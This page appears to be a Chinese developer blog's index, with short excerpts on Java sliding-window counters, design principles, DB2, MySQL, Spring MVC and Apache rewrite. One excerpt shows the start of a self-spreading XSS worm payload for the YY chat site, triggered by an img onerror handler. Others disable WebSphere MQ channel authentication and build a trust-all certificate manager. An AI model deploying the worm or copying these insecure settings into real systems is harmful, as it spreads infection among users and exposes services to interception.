- 浏览: 324202 次
- 性别:
- 来自: 南京
最新评论
-
huangyunbin:
swc.advance(); 这个什么时候被调用是最核心的 ...
滑动窗口计数java实现 -
80后的童年2:
深入浅出MongoDB应用实战开发网盘地址:https://p ...
MongoDB 从入门到精通专题教程 -
rryymmoK:
深入浅出MongoDB应用实战开发下载地址:http://pa ...
MongoDB 从入门到精通专题教程 -
u012352249:
怎么支持多个窗口啊?
滑动窗口计数java实现 -
rryymmoK:
深入浅出MongoDB应用实战开发百度网盘下载:链接:http ...
MongoDB 从入门到精通专题教程
文章列表
滑动窗口计数有很多使用场景,比如说限流防止系统雪崩。相比计数实现,滑动窗口实现会更加平滑,能自动消除毛刺。
概念上可以参考TCP的滑窗算法,可以看一下这篇文章(http://go12345.iteye.com/blog/1744728)。在实现上,滑动窗口算法需要循环队列和线程安全保障。
下面的实现有几个点
1, 支持滑窗大小运行时动态调整
2, 基于 java8 编译器
3, DEMO实现只支持一个窗口对象,如果要支持多个,需要修改 SlotBaseCounter 类
package slidingwindow;
import java. ...
面向对象语言具有封装,继承,多态的特征。那么在用面象对象语言进行程序设计的时候,我们应该要注意些什么,遵守哪些原则呢。 我们都知道在面向对象世界中拥有5大关系,6大原则,23种设计模式。那么他们是什么关系,到底有什么用呢。
我们定义类来封装对象,应该尽量的保证类职责的单一性,从而提高他的灵活性,重用性,扩展性和维护性。如果类职责R因为某种原因(比如说新需求)变成两个职责R1、R2,这时就发生了职责扩散。这个时候如果业务逻辑足够简单,我们可以修改原来的代码来满足新的职责;如果业务复杂但是类结构简单,我们可以新增方法来兼容。但是这时已经违反了单一职责原则,但这却是可以接受的,因为类依然具有 ...
一,生成指定sql的执行计划
1. 连接到db2
db2 connect to aep user wcsuser using wcsuser1
2. 生成执行计划相关表
db2 -tvf sqllib/misc/EXPLAIN.DDL
3. 生成执行计划并导出文件
a) db2 "explain plan for xxx"
b) db2exfmt -1 -d aep -e wcsuser -o sql.pln
二、利用quest等工具监控数据库(top sql, IO activity, lock)
需要先打开监控功能
d ...
从远程GIT上导出一个Maven项目到Eclipse大约分为以下几步:
1,从GIT下载项目并导进workspace
2,删除项目并重新以Maven方式导入
3,Run As --> Maven Install
为了方便说明,以 Storm官方一个项目为例进行说明,repository为https://github.com/nathanmarz/storm-starter.git
详细步骤截图如下:
原项目文件中Maven的配置文件名叫m2-pom.xml,所以将其改名为pom.xml,不然Eclipse无法识别
为了Eclipse ...
本来是可以直接通过<script>标签实现的,但是昨天被YY官方给屏蔽了。
下面的代码是通过img标签的onerror事件进行触发。所有看到这条消息的在线用户会被自动感染,并继续感染其他用户,因为这段代码有自我复制能力。.
<img height="0" width="0" src="xx" onerror='t=this;function fn(){n = $("#userName").html();$("textarea#pub_msg_input.msg-input&q ...
阿里的一个面试题:
一个序列里除了一个元素,其他元素都会重复出现3次,设计一个时间复杂度与空间复杂度最低的算法,找出这个不重复的元素。
实现如下:
package bitmap;
import java.util.BitSet;
public class BitMapMain {
static int[] list = {2, 3, 6, 3, 2, 5, 3, 2, 6, 6, 9, 9, 7, 7};
public static void main(String[] args) {
int len = list.length * 2;
B ...
1 开闭原则(Open Close Principle)
1.1 定义:一个软件实体如类、模块和函数应该对扩展开放,对修改关闭。
1.2 当软件需要变化时,尽量通过扩展软件实体的行为来实现变化, 而不是通过修改已有的代码来实现变化。
1.3 开闭原则是总纲,他告诉我们要对扩展开放,对修改关闭。
2 迪米特法则(Law Of Demeter)
2.1 迪米特法则又叫最少知道原则
2.2 定义:一个对象应该对其他对象保持最少的了解
2.3 软件编程的总的原则:低耦合,高内聚
2.4 迪米特法则还有一个更简单的定义:只与直接的朋友通信。
2.5 我们称出现成员变量、方法参数、方法返回值中的类为直接的朋 ...
mysql 常用命令
- 博客分类:
- mysql
第一招、mysql服务的启动和停止
net stop mysql
net start mysql
第二招、登陆mysql
语法如下: mysql -u用户名 -p用户密码
键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是:
mysql>
注意,如果是连接到另外的机器上,则需要加入一个参数-h机器IP
第三招、增加新用户
格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码"
如,增加一个用户user1密码为passwo ...
function declare(clazz, props) {
var objs = clazz.split("."), parent = window;
for (var i = 0; i < objs.length - 1; i++) {
var o = objs[i];
if (typeof o != 'object') {
parent[o] = {};
parent = parent[o];
}
}
var fn = objs[objs.length - 1];
if ( ...
builder模式将构建和表示分离,使相同的构建可以形成不同的表示。
创建和表示分离后使两者可以独立变化
就像建筑公司与设计公司一样,建筑公司负责建设,设计公司负责组装,最后形成高楼
而建筑公司还可以和别的设计公司合作建设别的大楼,从而是不是说明创建是复用了呢
对应起来,设计公司承担指挥(DIrector)的工作,而建筑公司承担建设(Builder)的工作,设计 公司指挥建筑公司建设各个部件(Construct),然后由建筑公司交互整个产品。当然这其中不可缺少客户的角色(Client)
spring mvc(以下简称框架)是一个非常优秀的Web框架,开发简单,功能强大
框架包含三大部分:resolver , handler, controller
resolver 又分为上传resolver ,多语言resolver ,主题resolver ,显示resolver 和异常resolver ,根据他们 ...
从宏观上看,现在软件架构大概分为四个阶段,而现在大多公司按不同规模不同行业都处于1至3阶段,还有一些逐渐向第四阶段发展。
一、单一架构
在这种架构下,将所有业务封装到一个工程里最后打包成一个 war 包进行部署,这种方式不公开发简单,而且部署也简单,适合小项目。
技术关注点主要在后台ORM这块
二、垂直架构
当业务需求增多后,将项目拆分为多个WEB工程分开进行开发,常见如将 Web Portal 与 后台 Admin 形成2个应用,分开进行部署。
技术关注在于 Web 层,如 Spring MVC
三、基于服务架构
对于有些情况,多 web 应用之间交互会非常多,这就导致了相互依 ...
关闭MQ队列管理器安全认证
- 博客分类:
- 记录
C:\Program Files (x86)\IBM\WebSphere MQ\bin>runmqsc B2C_QM
5724-H72 (C) Copyright IBM Corp. 1994, 2011. ALL RIGHTS RESERVED.
启动队列管理器 B2C_QM 的 MQSC。
alter qmgr chlauth(disabled)
1 : alter qmgr chlauth(disabled)
AMQ8005: WebSphere MQ 队列管理器已更改。
:
end
2 : end
读取一个 MQSC 命令。
所有命令均无语 ...
public String callMemberInfoInterface(String request) throws Exception {
if (logger.isInfoEnabled()) {
logger.info("callMemberInfoInterface request : " + request);
}
// First create a trust manager that won't care.
X509TrustManager trustManager = new X509T ...
apache的rewrite功能很强大,详细参考:http://lamp.linux.gov.cn/Apache/ApacheMenu/rewrite/index.html
用法如下步骤:
1,加载Rewrite模块
LoadModule rewrite_module modules/mod_rewrite.so
2,打开引擎
RewriteEngine on
3,编写重写规则与条件
RewriteLogLevel 9
RewriteLog "C:/rewrite.log"
RewriteCond %{DOCUMENT_ROOT}$0 !-f
RewriteRule ...